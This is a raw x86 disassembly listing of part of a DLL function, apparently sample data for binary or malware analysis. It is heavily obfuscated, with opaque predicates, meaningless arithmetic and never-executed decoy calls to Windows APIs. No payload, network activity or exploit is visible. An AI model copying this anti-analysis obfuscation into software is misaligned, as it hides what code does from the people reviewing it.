jl 0x10011c1a
push 5
pop eax
test eax, eax
je 0x10011c1a
mov dword [ebp - 0x404], 1
jmp 0x10011c21
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x748]
add eax, dword [ebp - 0x404]
jne 0x10011c41
cmp dword [ebp - 0x9f0], 0
jne 0x10011c41
and dword [ebp - 0x750], 0
jmp 0x10011c4b
mov dword [ebp - 0x750], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xde8]
add eax, 3
cmp eax, dword [ebp - 0x750]
jne 0x10011c7f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcac], 0
je 0x10011c7f
mov dword [ebp - 0x40c], 1
jmp 0x10011c86
and dword [ebp - 0x40c], 0
cmp dword [ebp - 0x40c], 0
ja 0x10011c9b
mov dword [ebp - 0x758], 1
jmp 0x10011ca2
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x14c], 0
jmp 0x10011cc7
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 1
jg 0x10011cec
mov byte [ebp - 0xf6], 0
movzx eax, byte [ebp - 0xf6]
test eax, eax
je 0x10011cea
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
jmp 0x10011cba
jmp 0x10011880
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x894], 0
je 0x10011d03
jmp 0x10011d08
jmp 0x1001181d
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xbc4]
call fcn.1001f27a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa58]
call fcn.1001f27a
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x188]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x3c], eax
jne 0x1001201b
mov dword [ebp - 0xdcc], 8
mov dword [ebp - 0xd40], 0xade19d29
mov dword [ebp - 0xd90], 2
mov dword [ebp - 0xc70], 7
mov dword [ebp - 0xd50], 0xffffffff
mov dword [ebp - 0xc78], 8
mov dword [ebp - 0xdc0], 0x9ed9ba07
mov dword [ebp - 0xc80], 0
mov dword [ebp - 0xd58], 0xffffffff
mov dword [ebp - 0xb74], 0x1c97412d
mov dword [ebp - 0xb70], 0x1c97412d
mov dword [ebp - 0xb6c], 0x1c97412d
mov dword [ebp - 0xb68], 0x1c97412d
lea ecx, [ebp - 0x2fd]
call fcn.1001f2a5
push eax
lea eax, [ebp - 0xb64]
push eax
lea eax, [ebp - 0xb74]
push eax
lea ecx, [ebp - 0xe60]
call fcn.1001f2a8
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xdf4]
call fcn.1001f254
mov dword [ebp - 0x760], 0x63785551
mov eax, dword [ebp - 0x760]
dec eax
mov dword [ebp - 0x760], eax
mov byte [ebp - 0xdd], 0
movzx eax, byte [ebp - 0xdd]
test eax, eax
je 0x10011e29
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
lea ecx, [ebp - 0xdf4]
call fcn.1001f27a
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x188]
inc eax
mov dword [ebp - 0x258], eax
push 2
lea ecx, [ebp - 0xce4]
call fcn.1001f1f8
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x34], 0
jmp 0x10011e6a
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x10011e80
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x7ec], 0x24a8c6a5
jmp 0x10011e63
mov dword [ebp - 0x34], 0
jmp 0x10011e90
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x10011ea6
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xe0c], 0x75405732
jmp 0x10011e89
mov dword [ebp - 0x34], 0
jmp 0x10011eb6
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x10011ed2
push dword [ebp - 0x34]
lea ecx, [ebp - 0xce4]
call fcn.1001f296
mov dword [eax], 0xda7b
jmp 0x10011eaf
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7ec], 3
jmp 0x10011f00
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7ec]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7ec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7ec], 0xffffffe4
je 0x10011fda
mov dword [ebp - 0x120], 8
mov dword [ebp - 0x120], 0xffffffff
mov dword [ebp - 0x120], 0
jmp 0x10011f41
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x10
jle 0x10011fd5
mov dword [ebp - 0x13c], 0xb61d2250
cmp dword [ebp - 0x120], 0
je 0x10011fb6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7ec]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x13c], 0
jmp 0x10011f8d
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x19
jg 0x10011fb4
mov dword [ebp - 0x9f8], 0x28a062b0
mov eax, dword [ebp - 0x9f8]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xe0c], eax
jmp 0x10011f80
jmp 0x10011fd0
mov byte [ebp - 0xf7], 0
movzx eax, byte [ebp - 0xf7]
test eax, eax
je 0x10011fd0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
jmp 0x10011f34
jmp 0x10011ee5
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x10011ff2
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xce4]
call fcn.1001f27a
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x188]
mov ecx, dword [ebp - 0x3c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x3c], eax
jmp 0x100116f6
mov dword [ebp - 0x50], 0xe8cff0ea
mov dword [ebp - 0x768], 0xfffffffa
mov dword [ebp - 0xa08], 0x374fd522
mov dword [ebp - 0xdb4], 0xffffffff
mov dword [ebp - 0xdb0], 0xffffffff
mov dword [ebp - 0xdac], 0xffffffff
mov dword [ebp - 0xda8], 0xffffffff
mov dword [ebp - 0x50], 0xffffffe7
jmp 0x1001206e
mov eax, dword [ebp - 0x50]
dec eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0xffffffe6
jl 0x10012275
mov dword [ebp - 0x424], 7
mov dword [ebp - 0xc4], 1
mov dword [ebp - 0xc88], 0
mov dword [ebp - 0xca4], 0
or dword [ebp - 0xb88], 0xffffffff
or dword [ebp - 0xb84], 0xffffffff
or dword [ebp - 0xb80], 0xffffffff
or dword [ebp - 0xb7c], 0xffffffff
lea ecx, [ebp - 0x2d1]
call fcn.1001f2a5
push eax
lea eax, [ebp - 0xb78]
push eax
lea eax, [ebp - 0xb88]
push eax
lea ecx, [ebp - 0xe38]
call fcn.1001f2a8
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe24]
call fcn.1001f254
mov dword [ebp - 0x788], 1
cmp dword [ebp - 0xc4], 0
je 0x10012119
mov eax, 0x7d24
test eax, eax
je 0x10012119
mov dword [ebp - 0x41c], 1
jmp 0x10012120
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
sub eax, 0xe495
mov ecx, dword [ebp - 0xc4]
add ecx, eax
cmp ecx, dword [ebp - 0xc4]
jg 0x10012147
mov dword [ebp - 0xa00], 1
jmp 0x1001214e
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xc90], eax
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xcb0], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x768], eax
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0xfffffffe
jb 0x1001218d
mov dword [ebp - 0x770], 1
jmp 0x10012194
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x770], eax
jge 0x100121ab
mov dword [ebp - 0x42c], 1
jmp 0x100121b2
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x42c]
neg eax
cmp eax, 0xffffffff
jb 0x100121cb
mov dword [ebp - 0x778], 1
jmp 0x100121d2
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x778]
sub eax, dword [ebp - 0x50]
cmp dword [ebp - 0x50], eax
jle 0x100121ec
mov dword [ebp - 0x434], 1
jmp 0x100121f3
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0x434]
imul eax, dword [ebp - 0xc4]
test eax, eax
jne 0x1001221a
cmp dword [ebp - 0x50], 0
jne 0x1001221a
and dword [ebp - 0x780], 0
jmp 0x10012224
mov dword [ebp - 0x780], 1
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x780]
cmp eax, 0xffffffff
je 0x1001223f
mov dword [ebp - 0x43c], 1
jmp 0x10012246
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0xc4]
add eax, dword [ebp - 0x43c]
mov dword [ebp - 0xa08], eax
mov eax, dword [ebp - 0x788]
inc eax
mov dword [ebp - 0x788], eax
lea ecx, [ebp - 0xe24]
call fcn.1001f27a
jmp 0x10012067
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x10012297
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x258]
movzx eax, byte [ebp + eax - 0x18a]
movzx eax, word [ebp + eax*2 - 0xc64]
mov ecx, dword [ebp - 0x3c]
movzx ecx, byte [ebp + ecx - 0x187]
and ecx, eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x258]
movzx eax, byte [ebp + eax - 0x18a]
movzx eax, word [ebp + eax*2 - 0xc64]
mov edx, dword [ebp - 0x3c]
movzx edx, byte [ebp + edx - 0x187]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x188]
mov word [ebp + eax*2 - 0xc64], dx
and dword [ebp - 0x258], 0
jmp 0x100116f6
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x108], 0xa50887c5
mov dword [ebp - 0x310], 0xfffffffa
mov dword [ebp - 0x260], 0x8298bbeb
mov dword [ebp - 0x1dc], 0
jmp 0x10012342
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 2
jge 0x1001235e
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0xe58], 0xffff
jmp 0x10012335
mov dword [ebp - 0x24], 0x14
jmp 0x1001236e
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff6
jne 0x10012782
mov dword [ebp - 0xa4], 0xfffffffd
mov dword [ebp - 0x2a8], 0x21fafbf2
mov dword [ebp - 0xcc], 1
cmp dword [ebp - 0x24], 0
je 0x100123af
push 9
pop eax
test eax, eax
je 0x100123af
mov dword [ebp - 0x790], 1
jmp 0x100123b6
and dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0xa4]
jne 0x100123cd
mov dword [ebp - 0xa10], 1
jmp 0x100123d4
and dword [ebp - 0xa10], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xd60], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xcb8], eax
mov eax, 0xc6a37d7c
cmp eax, 0xd6b59229
je 0x10012401
mov dword [ebp - 0x444], 1
jmp 0x10012408
and dword [ebp - 0x444], 0
cmp dword [ebp - 0x444], 0x5ff4
jge 0x10012420
mov dword [ebp - 0xa18], 1
jmp 0x10012427
and dword [ebp - 0xa18], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xdc4], eax
cmp dword [ebp - 0x24], 0xffff
jb 0x10012445
mov dword [ebp - 0x44c], 1
jmp 0x1001244c
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x790]
cmp eax, dword [ebp - 0x44c]
jge 0x10012466
mov dword [ebp - 0x798], 1
jmp 0x1001246d
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x798]
jg 0x10012484
mov dword [ebp - 0x454], 1
jmp 0x1001248b
and dword [ebp - 0x454], 0
imul eax, dword [ebp - 0x454], 0xfffffff9
cmp eax, dword [ebp - 0x24]
jne 0x100124a3
mov dword [ebp - 0x7a0], 1
jmp 0x100124aa
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
jne 0x100124d6
mov dword [ebp - 0x45c], 1
jmp 0x100124dd
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x45c], eax
jne 0x100124f7
mov dword [ebp - 0x7a8], 1
jmp 0x100124fe
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x7a8], eax
jl 0x10012515
mov dword [ebp - 0x464], 1
jmp 0x1001251c
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x464]
sub eax, 0x5c025c9
imul eax, dword [ebp - 0xa4]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x24]
jle 0x1001254b
mov dword [ebp - 0x7b0], 1
jmp 0x10012552
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0xf767
jle 0x10012576
mov dword [ebp - 0x46c], 1
jmp 0x1001257d
and dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 0x13222c7e
jg 0x10012595
mov dword [ebp - 0x7b8], 1
jmp 0x1001259c
and dword [ebp - 0x7b8], 0
cmp dword [ebp - 0x7b8], 0xffffffff
jg 0x100125b1
mov dword [ebp - 0x7c0], 1
jmp 0x100125b8
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x7c0]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0xcc], 0xffffffec
jmp 0x100125dd
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x1c
jg 0x1001277d
mov dword [ebp - 0xd4], 0
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0xcc0], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0xd68], eax
mov eax, dword [ebp - 0x260]
add eax, dword [ebp - 0xcc]
cmp eax, 0x5fca44ba
jl 0x1001262b
mov dword [ebp - 0x684], 1
jmp 0x10012632
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x684]
neg eax
cmp eax, 0xc499e98c
jae 0x1001264d
mov dword [ebp - 0x47c], 1
jmp 0x10012654
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x47c], eax
jl 0x1001266e
mov dword [ebp - 0x78c], 1
jmp 0x10012675
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x78c], eax
jg 0x1001268f
mov dword [ebp - 0x484], 1
jmp 0x10012696
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x484], eax
jl 0x100126b0
mov dword [ebp - 0x68c], 1
jmp 0x100126b7
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x68c], eax
jle 0x100126d1
mov dword [ebp - 0x48c], 1
jmp 0x100126d8
and dword [ebp - 0x48c], 0
cmp dword [ebp - 0x48c], 0x7a796fb6
jle 0x100126f0
mov dword [ebp - 0x818], 1
jmp 0x100126f7
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x2a8]
sub eax, dword [ebp - 0x818]
mov ecx, dword [ebp - 0x310]
imul ecx, eax
sub ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xd4]
jne 0x10012735
cmp dword [ebp - 0xcc], 0
je 0x10012725
jmp 0x1001277d
cmp dword [ebp - 0xd4], 0
je 0x10012733
jmp 0x100125d0
jmp 0x10012778
mov dword [ebp - 0xa4], 0xfffffffa
jmp 0x1001274e
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x12
jg 0x10012778
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x10012776
push 0
push 0x1622
call dword [sym.imp.GDI32.dll_SetBkColor]
jmp 0x10012741
jmp 0x100125d0
jmp 0x10012367
mov dword [ebp - 0x108], 0
jmp 0x1001279b
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 1
jg 0x100127ba
mov dword [ebp - 0xa20], 0x2b336fde
mov dword [ebp - 0xa20], 0x5e0ad583
jmp 0x1001278e
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xc64], cx
lea eax, [ebp - 0xc64]
push eax
lea ecx, [ebp - 0xe98]
call fcn.1001f119
mov dword [ebp - 0xa28], eax
mov eax, dword [ebp - 0xa28]
mov dword [ebp - 0xa30], eax
mov dword [ebp - 4], 0xe
push dword [ebp - 0xa30]
call fcn.1000b54f
pop ecx
mov dword [ebp - 0x628], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe98]
call fcn.1001f13e
mov dword [ebp - 0x80], 0x60f951fe
mov dword [ebp - 0x694], 1
push 3
lea ecx, [ebp - 0xc3c]
call fcn.1001f1f8
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x1e4], 0
jmp 0x10012854
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 3
jge 0x10012876
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0xc3c]
call fcn.1001f296
mov dword [eax], 0x3191b495
jmp 0x10012847
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xcc8], eax
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x80]
jge 0x10012893
mov dword [ebp - 0x494], 1
jmp 0x1001289a
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x494]
sub eax, dword [ebp - 0x694]
cmp eax, dword [ebp - 0x694]
jg 0x100128ba
mov dword [ebp - 0x49c], 1
jmp 0x100128c1
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x49c], eax
jg 0x100128d8
mov dword [ebp - 0x794], 1
jmp 0x100128df
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x794]
add eax, 3
mov ecx, dword [ebp - 0x80]
imul ecx, eax
mov eax, dword [ebp - 0x80]
imul eax, ecx
test eax, eax
je 0x1001290a
cmp dword [ebp - 0x80], 0
je 0x1001290a
mov dword [ebp - 0x4a4], 1
jmp 0x10012911
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x80]
sub eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x4a4]
jle 0x1001292b
mov dword [ebp - 0x69c], 1
jmp 0x10012932
and dword [ebp - 0x69c], 0
push 2
lea ecx, [ebp - 0xc3c]
call fcn.1001f296
mov ecx, dword [ebp - 0x69c]
mov dword [eax], ecx
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x10012967
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc3c]
call fcn.1001f27a
and dword [ebp - 0x270], 0
jmp 0x1001298c
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0xd
jae 0x10012f30
push 3
lea ecx, [ebp - 0x168]
call fcn.1001f1f8
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x1ec], 0xdd3ed23c
mov dword [ebp - 0x79c], 0xe58ed0bd
mov dword [ebp - 0x94], 0
jmp 0x100129da
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x100129f6
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x320], 0xfffffffd
jmp 0x100129cd
mov dword [ebp - 0x94], 0
jmp 0x10012a0f
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x10012a31
push dword [ebp - 0x94]
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov dword [eax], 0x9dada439
jmp 0x10012a02
mov byte [ebp - 0xbb], 0
movzx eax, byte [ebp - 0xbb]
test eax, eax
je 0x10012a4b
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov dword [eax], 2
jmp 0x10012a84
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov dword [ebp - 0x4ac], eax
mov eax, dword [ebp - 0x4ac]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x4ac]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
cmp dword [eax], 0
jl 0x10012f0c
mov dword [ebp - 0x364], 0xffffffff
mov dword [ebp - 0x360], 0xffffffff
mov dword [ebp - 0x35c], 0xffffffff
mov dword [ebp - 0x358], 0xffffffff
mov dword [ebp - 0xa38], 0xdc068927
mov dword [ebp - 0xaac], 0x91450187
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x364], 2
jmp 0x10012b01
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x364]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x364], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x364], 0
jl 0x10012ed6
push 3
lea ecx, [ebp - 0xaec]
call fcn.1001f1f8
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x268], 0
jmp 0x10012b3e
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 3
jge 0x10012b5d
push dword [ebp - 0x268]
lea ecx, [ebp - 0xaec]
call fcn.1001f296
and dword [eax], 0
jmp 0x10012b31
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov eax, dword [eax]
mov esi, dword [ebp + eax*4 - 0x320]
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x320], esi
jne 0x10012b97
mov dword [ebp - 0x89c], 1
jmp 0x10012b9e
and dword [ebp - 0x89c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x364]
mov esi, dword [ebp + eax*4 - 0x320]
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x320]
sub eax, esi
cmp dword [ebp - 0x89c], eax
jle 0x10012bdd
mov dword [ebp - 0x4b4], 1
jmp 0x10012be4
and dword [ebp - 0x4b4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x364]
mov ecx, 0xf58a
sub ecx, dword [ebp - 0x4b4]
cmp ecx, dword [ebp + eax*4 - 0x320]
je 0x10012c10
mov dword [ebp - 0x6a4], 1
jmp 0x10012c17
and dword [ebp - 0x6a4], 0
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x320]
imul eax, dword [ebp - 0x6a4]
test eax, eax
jne 0x10012c4a
push 0
lea ecx, [ebp - 0xaec]
call fcn.1001f296
cmp dword [eax], 0
je 0x10012c6f
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x320], 0
je 0x10012c6f
mov dword [ebp - 0x4bc], 1
jmp 0x10012c76
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0
je 0x10012cc4
mov eax, 0xd37f4a1d
test eax, eax
je 0x10012cc4
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x364], 0
je 0x10012cc4
cmp dword [ebp - 0x1ec], 0
je 0x10012cc4
mov dword [ebp - 0x4c4], 1
jmp 0x10012ccb
and dword [ebp - 0x4c4], 0
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x320]
cmp dword [ebp - 0x4c4], eax
je 0x10012cf5
mov dword [ebp - 0x6ac], 1
jmp 0x10012cfc
and dword [ebp - 0x6ac], 0
cmp dword [ebp - 0x6ac], 0
je 0x10012d11
mov dword [ebp - 0x4cc], 1
jmp 0x10012d18
and dword [ebp - 0x4cc], 0
push 1
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov ecx, dword [ebp - 0x4cc]
cmp ecx, dword [eax]
jle 0x10012d3b
mov dword [ebp - 0x820], 1
jmp 0x10012d42
and dword [ebp - 0x820], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x364]
cmp dword [ebp - 0x820], eax
jl 0x10012d62
mov dword [ebp - 0x4d4], 1
jmp 0x10012d69
and dword [ebp - 0x4d4], 0
imul eax, dword [ebp - 0x4d4], 0x383c
test eax, eax
jne 0x10012d84
xor eax, eax
jne 0x10012d84
and dword [ebp - 0x6b4], 0
jmp 0x10012d8e
mov dword [ebp - 0x6b4], 1
mov eax, dword [ebp - 0x6b4]
mov dword [ebp - 0xa38], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x364], 0x6269
jle 0x10012db8
mov dword [ebp - 0x4dc], 1
jmp 0x10012dbf
and dword [ebp - 0x4dc], 0
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x320]
cmp dword [ebp - 0x4dc], eax
jne 0x10012de9
mov dword [ebp - 0x7a4], 1
jmp 0x10012df0
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x7a4]
sub eax, 9
jne 0x10012e16
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10012e16
and dword [ebp - 0x4e4], 0
jmp 0x10012e20
mov dword [ebp - 0x4e4], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x320]
cmp dword [ebp - 0x4e4], eax
jg 0x10012e40
mov dword [ebp - 0x6bc], 1
jmp 0x10012e47
and dword [ebp - 0x6bc], 0
push 0
lea ecx, [ebp - 0xaec]
call fcn.1001f296
mov ecx, dword [ebp - 0x6bc]
add ecx, dword [eax]
jne 0x10012e82
cmp dword [ebp - 0x1ec], 0
jne 0x10012e82
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10012e82
and dword [ebp - 0x4ec], 0
jmp 0x10012e8c
mov dword [ebp - 0x4ec], 1
push 0
lea ecx, [ebp - 0x168]
call fcn.1001f296
mov ecx, dword [ebp - 0x4ec]
cmp ecx, dword [eax]
jl 0x10012eaf
mov dword [ebp - 0x870], 1
jmp 0x10012eb6
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0xaac], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xaec]
call fcn.1001f27a
jmp 0x10012ae8
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x10012f07
push 0x794
push 0x306
push 0x1f15
push 0x435
push 0x1559
call dword [sym.imp.GDI32.dll_IntersectClipRect]
jmp 0x10012a60
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x168]
call fcn.1001f27a
xor eax, eax
mov ecx, dword [ebp - 0x270]
mov word [ebp + ecx*2 - 0xc64], ax
jmp 0x1001297f
push 1
lea ecx, [ebp - 0x354]
call fcn.1001f1f8
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x30], 6
mov dword [ebp - 0xa98], 0xffffffff
mov dword [ebp - 0x68], 0
jmp 0x10012f65
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x10012f81
push dword [ebp - 0x68]
lea ecx, [ebp - 0x354]
call fcn.1001f296
mov dword [eax], 4
jmp 0x10012f5e
mov dword [ebp - 0x68], 0
jmp 0x10012f91
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x10012fa7
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0xe00], 1
jmp 0x10012f8a
mov dword [ebp - 0x30], 0
jmp 0x10012fb7
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jl 0x1001328f
